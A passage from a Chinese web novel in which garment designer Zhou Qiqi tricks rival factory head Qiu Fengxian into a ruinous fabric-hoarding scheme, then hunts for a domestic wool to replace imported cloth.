这话里传递的意思再明显不过了,她怀疑这事儿就是丘奉贤干的。 丘奉贤脸上的笑容僵住了一秒钟,但很快又荡漾开一个更大的笑容,甚至更真诚了几分,还掺杂上一点被冤枉的委屈。 他两手一摊,说道: “周师傅,你这话从何说起啊?这是怀疑我?我都不知道这事儿,你们厂原料出问题了嘛?怎么会这样?” 他连连摇头,一脸茫然, “什么黑市,批文的,我咋听不太懂呢?!具体咋回事啊?你跟我说说,我看看能不能帮忙!咱们都是一口锅里吃饭的兄弟厂,肯定要互相帮衬的!” 他嘴上这么说着,但那双精明的小眼睛里,却压不住地淌出点得意和看戏的意味。 他慢悠悠地踱回他那张宽大的皮质转椅,一屁股坐下去,身体惬意地后仰,陷进柔软的靠背里,双手搭在扶手上,手指有一下没一下地轻轻敲击着光滑的桌面,发出细微的“笃笃”声,透着一股掌控全局的悠闲和优越感。 “这年头啊,” 丘奉贤拉长了调子,“语重心长”,话里有话, “计划调拨,、外贸任务,那都是上级领导统筹全局的大手笔!咱们这些个基层厂长,老老实实服从安排、服务大局就是了嘛!周师傅,你说...是不是这个理儿?” 他故意把“上级领导”、“重要任务”、“服务大局”这几个词儿咬得格外清晰。 那潜台词再明显不过—— 我背后有人,硬气地很,你知道了又能怎么样? 他甚至往前欠了欠身,摆出一副推心置腹,古道热肠地样子来,接着说道; “周师傅,你们厂子,尤其是你承包的那个生产线,现在情况...怕是不太妙吧?那么多订单压在身上,交期一天天逼近,这原料一段,可真是要命的事啊!” 他脸上一副关切的样子,眼神里却闪烁着嘲弄, “要不这样,老哥我再这行年头久了,多少认识些人,我帮你...去黑市上打听打听门路?看能不能便宜点?那黑市里的价格黑是黑了点,但好歹能应个急,渡过眼前的难关,总比干瞪眼强啊,你说是不是?” 这番话,表面是“帮忙”,实则是火上浇油,更是赤裸裸的挑衅和试探。 丘奉贤就是想看看,周柒柒这个被他逼到悬崖边的对手,此刻脸上会露出怎样绝望或愤怒的表情。 果不其然,周柒柒被他的话狠狠刺了一下。 她胸口微微起伏,呼吸明显急促了几分,那双清亮的眼睛里瞬间涌上怒火。 她甚至上前一步,手“啪”地一声重重按在丘奉贤那张光可鉴人的红木办公桌上,震得桌上的紫砂壶盖都轻轻跳了一下。 “丘奉贤!” 周柒柒的声音异常愤怒, “收起你那套假惺惺的嘴脸!你真以为你布下这天罗地网,就能把我们第一服装厂捏死?就能把我周柒柒逼到绝路,任由你宰割?!” 丘奉贤双肩微微耸了一下,没说话,但嘲讽十足。 “哼!你这个卑鄙小人,是不是得意得太早了?” 周柒柒重重哼了一下,嘴角的嘲讽变成了冷笑, “你以为你抢了这批澳毛,我们就彻底没辙了?就能让你躺着数黑心钱了?做梦!” 她眼神像刀子一样剜着丘奉贤,带着一种被激怒后的孤注一掷,几乎是咬着牙说道: “实话告诉你!我们‘光华’系列,根本就不止一款设计!更不是非得吊死在你抢走的这一种料子上!” 她下巴微扬,眼神里透着一股子凌厉的自信,几乎是从鼻子里哼出这句话。 “另一款备选的,用的英产骆驼绒,这种料子可不像澳毛那样稀有!等我们把版式最后敲定好了,大把的料子随我们订!还有那些进口辅料...我们统统都能重新下单订购!你买的完吗你?以为谁稀罕你那黑市里见不得光的脏货?” 丘奉贤原本还抱臂悠闲看戏的姿态,在听到“不止一款设计”时,眼神猛地一凝! 他敲击桌面的手指瞬间停住,身体也不自觉地微微前倾。 周柒柒这突如其来的“泄密”,尤其是那份被激怒后“口不择言”的愤恨,让他心头那点得意瞬间被一丝不安取代。 不是,这死丫头还准备了后手? 但他不亏是沉浮商场的老手,很快就像是表情就变了,像是听到了什么天大的笑话,身子继续往后一靠,皮笑肉不笑道: “你们第一服装厂的盘算,告诉我干什么?怎么,指望着我给你们鼓掌?” 他手指点着桌面, “哼,重开一款?说得轻巧!光是设计打版就得耗多少工夫?原料、辅料、生产线全得重新调整!等你折腾出来,黄花菜都凉了!” 他越说越觉得抓住了关键,声音重新带上了一丝幸灾乐祸, “还有你签的那些订单!那些批发商,那些百货大楼!他们认的是你发过去的样品!是那款进口澳毛大衣!你现在临时换款换料子,就是违约!等着他们撕毁合同,让你赔个倾家荡产吧!我看你那点承包费,够不够填这个窟窿!” 周柒柒脸上不见半点慌乱,反而绽开一个极其明艳又带着几分倨傲的笑容,阳光透过窗户照在她身上,那件正红色的双面呢大衣仿佛都在发光。 “这个,就不劳丘厂长操心了!” 她猛地收回按在桌上的手,腰背挺得笔直,像一株在风雪里也绝不低头的红梅。 那双漂亮的杏眼里,此刻燃烧着一种近乎狂妄的自信光芒,亮得惊人。 她嘴角噙着一抹冷峭的弧度,声音脆亮: “只要款式够好,就不愁卖不动!我的才华,我自己心里有数。这点小事,还难不倒我!” 那语气里的傲气,简直要冲破屋顶,仿佛一切都尽在掌握。 这种近乎嚣张的自信,狠狠刺了丘奉贤一下。 他脸色一沉,彻底没了虚与委蛇的耐心,厌烦地挥挥手, “行了行了!少在我这儿放大话!你们第一服装厂是死是活,和我丘奉贤有什么关系,门在那边,走好不送!” “张厂长,我们走!” 周柒柒冷哼一声,最后狠狠剜了丘奉贤一眼,随即干脆利落地转身。 张国强被周柒柒的气势震得心口发烫,赶紧跟上,只觉得自家这位师傅此刻的背影,简直飒得不行! 但一出了丘奉贤办公室的大门,他心里顿时就七上八下起来,苦着个脸,和周柒柒不知道说着什么... “哼!不知天高地厚!” 丘奉贤被周柒柒最后那句狂妄的宣言噎得脸色铁青,冲着两人离去的背影重重哼了一声, 他抓起桌上的搪瓷茶杯,想摔又没舍得,只是重重地墩在桌面上,发出沉闷的响声。 办公室门“砰”地一声关上,他又跑去窗边看着两人离去的背影,指甲死死地扣着窗户,恨不得给玻璃扣出一个洞来,嘴里喃喃道: “备用方案,还有备用方案,这死丫头真够聪明的!不行,我不能让她如意!” 他忽然想起什么,猛地抓起办公桌上的电话,手指飞快地拨了一个号码。 电话那头响了很久才被接起,一个年轻男人沙哑而不耐烦的声音传来: “喂?谁啊?大中午的催命啊?” “宏哥!是我,我是奉贤啊!” 丘奉贤的声音立刻换上了十二分的谄媚,腰都不自觉弯了下去,仿佛电话能头的人能看见似的, “上次托您办的那事,就是进口物资那事儿...恐怕还得麻烦您,再帮我给厅长那边捎个话,再追加一批!” 听筒那边传来不耐烦的呵斥声,声音大得连几步外都能隐约听见。 丘奉贤腰杆都不自觉地弯了,对着话筒连连点头,仿佛对方能看见一样: “是是是,我知道难度大...但老爷子的面子在哪儿呢,办不办得成的,还不都是您一句话的事儿吗?钱方面不是问题!您再帮忙疏通一下银行那边,贷一批款子出来,只要事成,利润...利润我直接分您这个数!” 他咬着牙报出一个惊人的比例,脸上肌肉抽搐着,心都在滴血,但语气却越发讨好: “对对对!一半!麻烦您了,宏公子...真是多谢!多谢!” 那边又骂骂咧咧了几句,像是嫌麻烦,但最终还是勉强应了下来。 丘奉贤千恩万谢地挂了电话,就在听筒放下的一瞬间,脸色瞬间阴沉下来,朝着地上狠狠啐了一口:“呸!贪得无厌的东西!” 他喘了几口粗气,胸口起伏不定,但很快又自己安慰自己: “算了...贪就贪吧,能办成事就行...” 他定了定神,又按响内部通话键。 不一会儿,一个穿着蓝色的确良衬衫、梳着两条麻花辫的年轻女人和一个穿着灰色工装、戴着眼镜的中年男人匆匆走了进来。 那女人是丘奉贤的小姨子,也是厂里的会计,刘香芹。 男人则是他的堂弟,也是后厂里的后勤处长,丘大林。 “姐夫,找我们啥事?” 刘香芹问道。 “香芹,你马上准备钱,大林,你立刻去联系之前的渠道,再给我订购一批进英产骆驼绒!不,不止是英产骆驼绒!” 丘奉贤眼中闪烁着孤注一掷的光芒,语速飞快, “你们再去打听一下,第一服装厂最近都要买哪些进口辅料,统统都给我买断了!有多少要多少!抓紧!快!” 刘香芹一听,脸都白了: “姐夫!你疯啦?厂里的账上早就没钱了!上个月工资都是东挪西凑才发下去的!你刚贷的那笔款子,一分钱没用在咱厂生产上,全填进那批高价澳毛里了!现在哪还有钱再去买这么多东西?要不...算了吧?” “算了?” 丘奉贤猛地一拍桌子,双眼赤红,像一头输急眼的赌徒, “绝对不行!老子花费了一个月,布下这天罗地网,眼看就要收网捞大鱼了,怎么能算了?那个周柒柒现在就是嘴硬!等她的新款搞不出来,订单压死她,她还得乖乖爬回来求我!到时候,我们手里的料子价格还能再翻上一番,这泼天的富贵,就在眼前了!” 他喘着粗气,眼神疯狂地在办公室里扫视,最后落在刘香芹身上,压低声音,带着一种破釜沉舟的狠劲: “香芹,你想想办法!把厂里账上能动用的钱,全都给我调出来!员工的福利费、养老储备金...不管是啥,全都给我先挪出来用!应急!等钱一到手,立刻补回去! 第267章 我直接掀了他的桌子! 刘香芹吓得脸都白了,声音都开始发颤, “这...这...姐夫,那些都是国家的钱啊!挪用是犯法的,要坐牢的!” “怕什么!” 丘奉贤低吼, “很快就有新的贷款进来!只是暂时周转一下!等这批货出了手,咱们就能翻倍地赚回来!到时候神不知鬼不觉地填回去,谁看得出来?” 他语气带着一种习以为常的蛊惑: “你忘了?当年第二服装厂是怎么被咱们弄得半死不活,不就是靠压原料这一手?当时不也是挪用了账上的钱吗?最后好好填上,不也啥事没有吗?” “不付出哪儿会有收获?没有当初那一出,咱们市里三家服装厂子,凭什么就咱们第三服装厂效益最好,风光到现在?” 刘香芹看着丘奉贤那副赌徒上头的模样,心里总觉得不踏实,犹豫了一下,还是忍不住把心里的疑虑说了出来: “姐夫,你冷静一下,不是我说,那个周柒柒不是那么厉害的人物吗?还会弄啥防盗标志,当初这么一招就让咱们损失了那么多,她那么聪明的人,这回咋会这么傻,把自己的后手全抖落给你?我总觉得...这事儿有点不对劲,她会不会是...故意说你听,给咱们挖坑呢?” 丘奉贤被她这么一问,脸上的疯狂僵了一下,眼神闪烁,显然也有一瞬间的动摇。 但很快,那点疑虑就被更强烈的自负和贪婪压了下去。 “挖坑?她一个二十出头的黄毛丫头,能有这心眼儿?我之前被她坑,那是因为大意,轻敌了而已,根本就不是她有多厉害!” 他嗤笑一声,脸上满是不屑, “你是没看见她刚才那样儿,气的脸都红了,眼珠子都快瞪出来了,恨不得扑上来咬我两口!她那点心思,全都写在脸上了!她那是被我逼急了,气急攻心,才口不择言地把底牌全亮出来的!这就叫年轻,沉不住气!” 他越说越觉得自己的判断正确无比,语气里更是多了过来人的优越感, “再说了,你看见张国强那老小子没有?他跟着周柒柒走的时候,那张脸拉得跟苦瓜似的,拽着周柒柒的袖子嘀嘀咕咕,急得直跺脚!那样子,像是事先知道周柒柒会说出后手的样子吗?分明是被周柒柒的口无遮拦给吓傻了!” “第一服装厂现在什么光景,承包费、原料钱、工人工资,还有那些订单的违约金,全都压在她一个小姑娘的肩膀上!那是钱啊!可不是过家家!她周柒柒现在自顾不暇,焦头烂额,哪儿还有那个闲心,那个脑子给我挖坑?哼!” 丘奉贤重重哼了一声,仿佛已经洞悉了一切,斩钉截铁道: “她周柒柒也就是有点设计衣服的小聪明,绝对不可能有我丘奉贤在商场上摸爬滚打这么多年的眼光和手段!她,还嫩得很!” 他扪心自问,自己要是被逼到这个份儿上,也绝对不可能有这种抗压能力,就笃定了周柒柒也绝对不可能做得到。 他大手一挥,不想听刘香芹再多说什么,直接用命令的口吻说道: “别胡思乱想了!就按我说的办!快去!” 刘香芹被他这一通长篇大论的分析说得哑口无言。 想想也是,周柒柒刚才那副气急败坏的样子她也看到了,不像是装的,张国强的反应更是做不得假。 看姐夫如此笃定,她心里那点不安也被强行压了下去。 她咬了咬唇,艰难地点了点头,“...那...那好吧。” 至于后勤处的堂弟丘大林,那纯粹是唯表哥是从,一点儿反对意见都没有,乐呵呵地就点了点头。 丘奉贤看着小姨子和后勤老王领命而去,紧绷的神经才稍稍松弛。 他重新坐回那张宽大的皮椅里,身体深深陷进去,长长舒了一口气。 阳光透过窗户照在他干枯的脸上,那薄薄地嘴角抑制不住地向上勾起,越来越弯,最后咧开一个大大的、得意至极的笑容。 他仿佛已经看到周柒柒走投无路,捧着高价来求他买料的狼狈模样; 看到成捆的钞票流水般涌进第三服装厂的账上; 看到自己站在崭新的厂房前,接受着上级领导的表彰... “哼,周柒柒...” 丘奉贤喃喃自语,脸上得意的笑容几乎要溢出来, “女强人?有才华?能设计好款?那又怎么样?” 他拿起桌上那份通过特殊渠道搞到的“光华”样衣资料,轻蔑地弹了弹, “这么目中无人,还不是被这进口料子卡得死死的?老子把你吃饭的锅都端走了,看你还拿什么跟我斗?” 他越想越觉得胜券在握,浑身舒坦地往后一靠,闭上眼睛,脑海里已经在盘算着这笔横财到手后,是该先买辆新吉普呢,还是先把东头那块地皮吃下来... 丘奉贤这边春风得意,张国强那边则是气得快爆炸了。 他从丘奉贤办公室出来,就呼哧呼哧喘着粗气,腮帮子气得鼓鼓的,活像只刚蒸熟的螃蟹。 “太...太无耻了!” 他憋了半天,才从牙缝里挤出这么一句,只觉得丘奉贤那副小人得志的嘴脸还在眼前晃悠,恶心得他直反胃。 他一脸得颓然,忍不住长长叹了口气,看向同样“头顶冒火”的周柒柒,忍不住开口道: “柒柒啊,你...你这还是...太年轻气盛了...” 他摇了摇头,语气里满是惋惜, “你有备用款式这事儿,咋不提前跟我通个气呢?这下好了,被姓丘的几句话一激,全都给抖落出去了!以他那尿性,肯定牟足了劲儿要把那款备用的料子也抢断货!到时候咱们真就一点活路都没了,他继续坐地起价,咱们损失更大啊!” 张国强越说越愁,仿佛已经看到丘奉贤囤积居奇、漫天要价,而他们第一服装厂被彻底榨干的凄惨景象。 他急得跟热锅上的蚂蚁似的,但是周柒柒没说话,只是脸红得不得了。 张国强以为她是被气糊涂了,也不忍心在多说什么。 两人就这么一路沉默地骑着车回到了第一服装厂。 进了办公室,张国强看周柒柒还一直沉默不语,还以为周柒柒是被这压力给压垮了,心情不好不想说话呢,赶紧安慰道, “柒柒,刚才是我不对,我不该说你的,那备用款也是你自己努力设计的,我不应该泼凉水的,没事儿,咱们再想别的办法。” 周柒柒没说话,进了办公室就转身去衣架哪儿,把大衣挂好,转过身。 “张厂长,”她声音清亮,“谁告诉你,我真有备用款了?” “啥?!你说啥呢?” 张国强猛地从椅子上弹起来,眼珠子瞪得溜圆,完全跟不上周柒柒这变化。 他还以为是孩子被气傻了,在说胡话呢。 看着张国强急得抓耳挠腮、脸都快皱成苦瓜的模样,周柒柒终于忍不住,越想越乐。 她肩膀开始微微耸动,起初是压抑的闷笑,随即就再也忍不住了,清脆的笑声从喉咙里滚出来,越笑越响亮,最后竟捂着肚子弯下腰去,笑得上气不接下气。 “哎呦...哎呦喂...” 她揉着笑疼的肚子,眼角都沁出了泪花,好半天才直起腰,脸颊红彤彤的,眼睛里闪着狡黠的光芒,语气轻快。 “张厂长,看来我这演技不赖啊,你都完全相信了,那我这些印子就不算白掐。” 她一边喘气,一边笑着伸出一直攥着的左手,摊开到张国强面前。 那纤细白皙的手心,赫然有七八个深深的、红得发紫得指甲印子,一看就是下了死力气掐出来的。 张国强盯着那触目惊心的指甲印,又看看眼前笑得像只偷腥小狐狸的周柒柒,脑子彻底转不过弯了,嘴巴张了又合: “周师傅...你、你这到底是唱的哪一出啊?啥戏不戏的?你快急死我了!” “哪一出?” 周柒柒眉梢一挑,眉宇间全都是运筹帷幄的自信,“空城计,外加请君入瓮!” 她不再卖关子,嘴角噙着一丝冷冷的嘲弄,解释道, “我刚才在丘奉贤那儿说的,什么备用设计、英产骆驼绒,全都是现编的!从咱们这儿到那儿的一路上现编现想的,没一个字儿是真的!” “啥,现编...编的?!” 张国强眼睛瞪得溜圆,嘴巴张得能塞进个鸡蛋, “你...你为啥要编这个去糊弄他?” 周柒柒走到窗边,午后的阳光暖融融地洒在她身上,那件正红色的双面呢大衣映得她容光焕发,眼神里是东西一切得自信,和一丝冰冷的嘲弄, “为什么?很简单,给他递梯子,让他爬得更高啊,‘上帝欲使其灭亡,必先使其疯狂’,他丘奉贤铁了心要自掘坟墓,我不妨再给他添把柴,让这火烧得更旺一点!” 她笃定地分析着,每一个都透着掌握全局的从容: “我猜,他现在八成正火急火燎地叫他的心腹,琢磨着怎么凑钱,恨不得把市面上所有英产骆驼绒都一口吞下去呢!最好他贪心不足,连那些又贵又用不着的辅料也统统吃进,那才叫自寻死路!” 她转过身看向张国强, “第三厂库存积压,又吞了那批高价澳毛,早就掏空了家底。他哪来的钱?要么挪用公款,要么再去贷款。不管哪一条,都是把他自己往绝路上逼。” 她顿了顿,语气里是斩钉截铁的决绝, “因为我早就想好了,不管情况坏到什么地步,哪怕生产线真的停摆,订单违约金压得我传不过去,我也绝对不会踏入黑市一步,绝不会买他丘奉贤手里沾着咱们血的料子!一分钱都不会让他赚到!” “他想掐我的脖子?我直接掀了他的桌子!” 张国强听得云里雾里,感觉脑子像是被搅成了一团浆糊,好像明白了周柒柒要坑丘奉贤,但又有点不明白, “那你...之前为什么说要去给他‘送钱’?” 第268章 是‘送钱\’没错啊! 周柒柒嘴角微弯,嫣然一笑,带着点恶作剧般的促狭,眨了眨眼, “堆啊,是‘送钱’没错啊!给他送点冥币花花!” “他丘奉贤自己把坑挖得那么深,就等着往里跳了,我不去他坟头撒把纸钱助助兴,岂不是太不解风情了?这就叫仁义!” 张国强听得瞠目结舌,后背的汗毛还没下去,心口又像被滚烫的油浇过一样,既惊悚又痛快! 他完全没想到,周柒柒看似被激怒后的“口不择言”,竟是一场环环相扣、步步惊心的算计! 这心思,这手段,简直...太狠了!也太绝了! 他看着眼前这个比自己小了十几岁,面容明艳绝伦的年轻女人,一股难以言喻的敬畏感油然而生,简直佩服得五体投地! 自己当初选择不要尊严去求她成为第一服装厂的一份子,绝对是这辈子做得最好的决定! 现在再想起在丘奉贤办公室里,对方自以为掌控全局、洋洋得意的嘴脸,张国强直觉得一股前所未有的解气感直冲天灵盖,忍不住狠狠一拍大腿, “该!让他狂!让他得意!这下好了,自己往火坑里跳!” 可说完,他又想到自己刚才在哪儿的种种表现,有点不好意思: “周师傅,那你...你刚才咋不提前跟我透个底呢?我这傻不愣登的,差点给你拖后腿了!要是早知道,我也能给你搭把手,演得更像一点啊!” 他说着,还摸着下巴思考了起来, “比如,你说起备用款的时候,我也在旁边装得意,说句‘可不是吗!’‘你瞧你这损色!’,是不是更好点...” 他一边说着,一边表演起来,挤眉弄眼的。 周柒柒看着他这全是表演痕迹的表演,更加确认自己不提前让他知道是对的。 不过她知道张国强是为她好,憋着笑拍了拍他的肩膀, “就是要你不知道才最好,你刚才那反应,真得不能再真了!丘奉贤那个老狐狸,要不是看你那副又急又怕,恨不得立马拽我走的模样,他也不会那么轻易就信了我的‘气急败坏’,你可是今天的头号功臣!” 张国强被夸得老脸一红,心里那点小委屈瞬间烟消云散,只剩下对周柒柒的智谋的深深折服。 这年轻姑娘的脑子转得,简直比缝纫机的梭子还快! 他搓着手直乐,嘿嘿直乐,感觉自己跟对了人,前途一片光明。 周柒柒看着他情绪缓和下来,也不再玩笑,收起笑容,正色道。 “好了,张厂长,咱们该‘动’起来了,你现在立刻去给咱们采购部,让他们去订购英产骆驼绒和那些进口辅料。” “啊?真订?” 张国强一愣。 “订!当然要订!” 周柒柒眼中精光一闪, “不过,要记住两点,第一,动作要‘慢’,但不是真慢,而是要表现得欲速则不达,急吼吼却又处处受阻得样子。” “第二,一定要‘急’,但不是真急,催供货商得电话要打得勤,抱怨调货难得话要说的真,总之,做戏做全套,把这‘火烧眉毛’的戏码,唱足了!” 张国强一拍胸脯, “放心!采购部那小子,是我专门挖来的大学生,机灵着呢!这单弯弯绕绕,他肯定懂!我这就去安排!” 他转身就往外走,步履生风。 安排完采购部“演戏”的任务,张国强快步回到办公室。 “周师傅,你猜测的没错!丘奉贤那边真的盯上英产骆驼绒了!咱们就等着瞧好戏吧...” 不过,虽然出了一口恶气,但核心问题依旧悬着, 他安排完回来,脸上又带上了愁容: “柒柒,咱们这口气是出了,可...可厂里的难关还在那儿摆着呢。原料到底咋办?你有主意了没?打算走什么路子?” 周柒柒走到样品架前,手指拂过一排排布料样品,目光坚定而沉静, “路子,其实一直都在我们眼前。” 她抽出一块质地厚实、手感略显得粗硬的国产呢子料,用力捻了捻, “进口料子好,但终归是别人的,技术和配额都不能掌握在自己手里,是脖子的东西,这次是丘奉贤,下次可能就是别的什么奉贤,我们不能够把命脉永远交在别人手里。” “光华系列,还得做下去,而且,要用我们自己的料子做。” 张国强眉头微皱,想起当初选料的艰难: “可...之前咱是千挑万选才定的澳毛,国产的料子,无论是手感、听阔度,还是染色效果,都差那么点意思啊。” “差一点,不是不能用。” 周柒柒抬起头,眼中闪烁着挑战和自信的光芒, “咱们国产毛料起步晚,比不上进口的成熟精良,有很多不足,这很正常,但正因为这样,才更需要我们去用、去挑、去带动,有人给它们机会,它们才能成长。” 她抬眼看向张国强,目光灼灼,带着一种开拓者的气魄,那不是盲目的乐观,而是基于自身实力和眼光的强大自信。 “我不信,咱们这么大个国家,就找不出一款能扛起‘光华’的国产好料子!走,去仓库!把之前收集的所有国产毛呢样品,再筛一遍!我就不信,这个困境,我们闯不过去!” 张国强看着她站在样品架前的身影,仿佛有光打在她身上,那股子沉稳和魄力,让他心里那点剩余的焦虑也奇异地平复了下来。 “好!” 他重重点头,斗志重新燃起, “库房里还有不少各个毛纺厂送来的样品呢,我这就叫人全部搬出来!咱们一件一件挑,一寸一寸摸!我就不信,刨不出个金疙瘩来!” ------------------------------ 一连好几天,周柒柒、张国强和马师傅,三个人一头扎进了仓库的料子堆里,闻着的,全都是羊毛特有的膻味,三个人都鼻子都快堵住了。 听说丘奉贤那卑鄙的手段,马师傅也气得直拍大腿。 三个人起初都憋着一股劲儿,誓要从国产料子里杀出一条血路来。 可没想到,现实却像是一盆盆冷水,浇得三人透心凉。 那批进口的澳毛确实是好。 纤维细密如丝,摸上去滑滑糯糯的,既有羊绒的柔软亲肤,又能撑得起利落挺阔的廓形,悬垂感也是一流的。 染出的颜色更是鲜亮饱满,正红就是正红,墨绿就是墨绿,均匀地像是一幅画。 那是技术和材料的双重优势,凝结成的奢侈品般的质感,是“光华”系列高级感的根基。 而眼前的国产料子呢? 不是纤维粗硬扎手,就是软塌塌的没筋骨,有的挺阔是挺阔了,却又厚重的压人,染色更是老大难,要么色泽灰暗不均匀,要么饱和度差强人意,像是蒙上了一层灰。 这机器和工艺差着一大截,得出的成品必然不如意。 折腾了几天,三个人眼睛都快看花了,摸过料的指尖都觉得发木,愣是没挑出一块能勉强达到要求的。 仓库上悬着的白炽灯,亮得刺眼,照着三人疲惫的脸庞。 周柒柒几乎是泡在了这里,早上七点刚过就到了,晚上八九点,厂区都熄灯了,才拖着沉重的步子离开。 就这么几天,肉眼可见的,脸上好不容易养出的一点肉又瘦没了,眼底也熬出了一圈淡淡的黑青,只有那双眼睛,依旧亮得惊人,不肯服输地在一卷卷料子上逡巡。 到了第三天晚上,沈淮川实在是看不下去了,开着吉普车到了厂门口。 看着自家媳妇儿熬得通红的眼睛,他心里揪得慌,想让她今晚必须回去好好歇一歇。 可周柒柒心里那根弦绷得死紧。 交货期一天天逼近,催货的电话像是索命符,还在一天天响着。 巨大的压力像无形的巨石,沉甸甸的压在胸口,让她喘都喘不过气,哪儿能安心休息? “不行,” 她声音带着疲惫的沙哑,却异常坚决,“还差一点……我再看看。” 她避开沈淮川伸过来的手,目光又投向堆在角落的一摞新样布。 张国强看着周柒柒布满血丝的眼睛,还有站都站不稳的眼睛,心里也揪的难受。 他赶紧上前一步,把那摞新样布往沈淮川手里塞, “柒柒,你和沈团长回去吧,这些是最后一批了,我让人把临近几个省能找的厂子都跑遍了...都在这儿了,你带回家看看,待在家里,心里好歹能松快些,等这些都看完,要是还是找不出...” 他话没说完,但意思大家都明白,那就是山穷水尽,只能放弃“光华”,那损失,想想都让人头皮发麻。 周柒柒看着沈淮川不容拒绝的关切眼神,又瞥了眼那堆最后的希望,终是点了点头,哑着嗓子说:“行,我带回去看。” 沈淮川来时特意绕去军区饭店,打包了她最爱吃的酸菜鱼。 回到家,热腾腾的饭菜上桌,周柒柒却没什么胃口,心里沉甸甸的,全是那些不达标的料子。 但不想辜负他的心意,还是勉强扒拉了几口。 撂下碗筷,她拎起那袋沉重的样品就想去房间里继续奋战。 刚要转身,衣角却被轻轻拽住。 低头一看,舟舟仰着小脸,大眼睛眨巴着,小手无声地比划着一个“画”的动作,眼神里全是期待,显然是需要周柒柒帮忙。 沈淮川见状,让周柒柒去忙,自己去帮舟舟。 周柒柒心里急得冒火,时间一分一秒都耽搁不起,可对上舟舟那双纯净又渴望的眼睛,她又实在硬不起心肠。 还是把沈淮川推开,选择亲自去帮舟舟。 上个礼拜舟舟去吴大师哪儿上课的时候,吴大师给布置了水墨画的作业, 舟舟似乎遇到了难题,画废了好几张都不满意。 周柒柒的绘画水平只能说一般,用来画设计图绝对没问题,但其他类型的画,比如水墨画,就懂得不多,或者说,基本不懂了。 但她的基本审美还是在线的。 所以还是耐着性子坐下,仔细看了看舟舟画废的那几幅画,又轻声问了几句细节和对作业的理解。 舟舟用口型无声地回答着,两个人交流的十分默契。 小丫头超过四五个字的长句,就只有周柒柒能一下子看懂,这是独属于两个人的默契。 这也是刚才周柒柒决定亲自过来帮忙,而不是让沈淮川过来的原因。 两人交流了一会儿,舟舟似乎若有所思地点了点头。 周柒柒这才摸摸她的头,赶紧起身钻进房间。 灯光下,她迫不及待地将十几款样料一一摊开在桌上,手指急切地捻过每一寸布料,感受纤维、韧性和挺括度。 又拿出小块的料子,在缝纫机上飞快地车出巴掌大的小样,反复审视着缝合后的廓形效果。 一块,两块,三块,四块,五块...十块...... 摇头,还是摇头。 希望像沙漏里的沙,一点点流逝。 这些料子不是这里差一点,就是那里不行,总是差那么一口气。 可周柒柒不愿意降低产品的标准,怎么选怎么不满意。 最后,周柒柒的目光落在那几块颜色最黯淡、最不起眼的料子上。 这是B省那个据说快倒闭的小厂送来的,灰扑扑的,颜色不正,饱和度低得可怜,远看跟抹布没两样。 她本已不抱希望,但心底那点“给国产一个机会”的倔强还是冒了头。 “试试吧。” 周柒柒几乎不抱任何希望了,只是本着最后一丝责任心,还是拿起一块红色的,放到了缝纫机下。 “哒哒哒...” 阵脚走过,针尖扎进布料,发出规律的嗒嗒声。 第269章 美难道只有一种标准吗? 出乎周柒柒意料的事发生了! 这不起眼的料子,纤维的韧性和长度居然不错! 车出的小样悬垂感虽不及澳毛那样行云流水,但也算流畅自然; 挺括度也够,能撑起基本的轮廓; 最让周柒柒惊喜的是手感,虽然比澳毛稍显粗粝一点,但摩擦在手腕内侧,竟也不觉得扎人,竟有八九分的柔软度! 柳暗花明! 周柒柒眼睛瞬间亮了起来,疲惫一扫而空,只剩下发现宝藏般的兴奋! 她立刻把这款料子的所有颜色样本都挑了出来。 可惜,这份兴奋在仔细审视色彩时,被兜头浇了一盆冷水。 这颜色,太拉胯了! 尤其那块“红色”,和她带来的澳毛正红样品一比,暗淡得像个赝品,其他颜色也灰蒙蒙的,毫无生气。 这一款毛呢料子,是最接近澳毛的一款了,周柒柒不愿意轻易就放弃它,还在想着能不能从颜色上拯救一下。 “难道是染料或者工艺的问题?” 她不甘心地想,立刻翻找起自己平时囤积的高级染料。 同时,她记得袋子里应该还有好几块这款料子的原色,也就是未染色的布样,那是验证染色的关键! 她做事风风火火,立刻在那堆样品袋里翻找配套提供的原色坯布。 可翻来找去,几乎把袋子掏空了,那关键的坯布却怎么也找不到! “难道是落车上了?” 她心里着急,拉开门就想去找正在厨房烧水的沈淮川问一问。 脚步匆匆经过舟舟虚掩的房门,无意间往里一瞥—— 周柒柒的脚步猛地顿住,血液似乎都在这一刻凝住了! 只见舟舟正蹲在地上,小手捧着她那个调色用的大海碗,里面是浓稠的、未经调和的、鲜艳无比的丙烯颜料。 而地上铺着的,根本不是画纸! 正是她苦苦寻找的那几块想用来试色的原色坯布! 此刻,它们像一块块肮脏的画布,被泼洒上了大片大片浓烈、混乱的颜料。 赤红、靛蓝、明黄...色彩肆意流淌、交融,刺目又狼藉。 舟舟正背对着她,小小的身影蹲在地上,手里还端着一个盛满黑色颜料的小碟子,似乎正要继续往仅剩的一块相对“干净”的料子上泼洒! “舟舟!别动!” 周柒柒急得心脏都快跳出嗓子眼,失声喊了出来! 那些坯布可是最后的希望,车马劳顿一天才运来的,想再拿到,又得等至少两天,不能就这么全毁了! 可惜,周柒柒这声惊呼还是晚了一步。 话音未落,舟舟手里拿小半碗浓稠的颜料已经泼洒出去,不偏不倚,正好浇在最后那块尚且还干净的原色胚布上。 完了。 周柒柒直觉得眼前一黑,浑身的力气仿佛瞬间被抽空,踉跄了一下,无力地靠在门框上。 她远远看着地上那一堆被各种颜色胡乱浸染、糟蹋地不成样子的胚布,只觉得一股巨大的无力感如同冰冷的潮水,瞬间淹没了她。 连日熬夜的眩晕感猛地袭来,眼前阵阵发黑,脚下发软,几乎站立不住。 喉咙里堵得厉害,眼眶酸涩得发胀。 她甚至有种想不管不顾蹲下来大哭一场的冲动。 为了这个“光华”系列,她殚精竭虑,对抗丘奉贤的阴谋,在仓库里熬红了眼,本来以为终于要找到一点曙光了,却没想到,这最后的希望竟毁在自家孩子无心的“艺术创作”上? 这胚布出自隔壁B省,再想运胚布过来,至少要等两天。 现在压在她肩上的压力太重了,她也不确定,这两天,她能不能撑得过去。 沈淮川听到动静快步赶来,一把扶住她发软的身子,语气急切:“柒柒?怎么了?” 周柒连说话的力气都快没了,只是苍白着脸,手指颤抖地指向地上那一片狼藉。 沈淮川眉头立刻锁紧,看向还蹲在地上、小手沾满颜料的舟舟,语气不由带上了几分严厉: “舟舟!你怎么能把你婶婶要用的料子弄脏......” 话音还没落,就听,“等等!” 周柒柒猛地打断他,声音虚弱却带着一种奇异的紧绷。 她的目光死死钉在地上,钉在那些被颜料浸透的布料上。 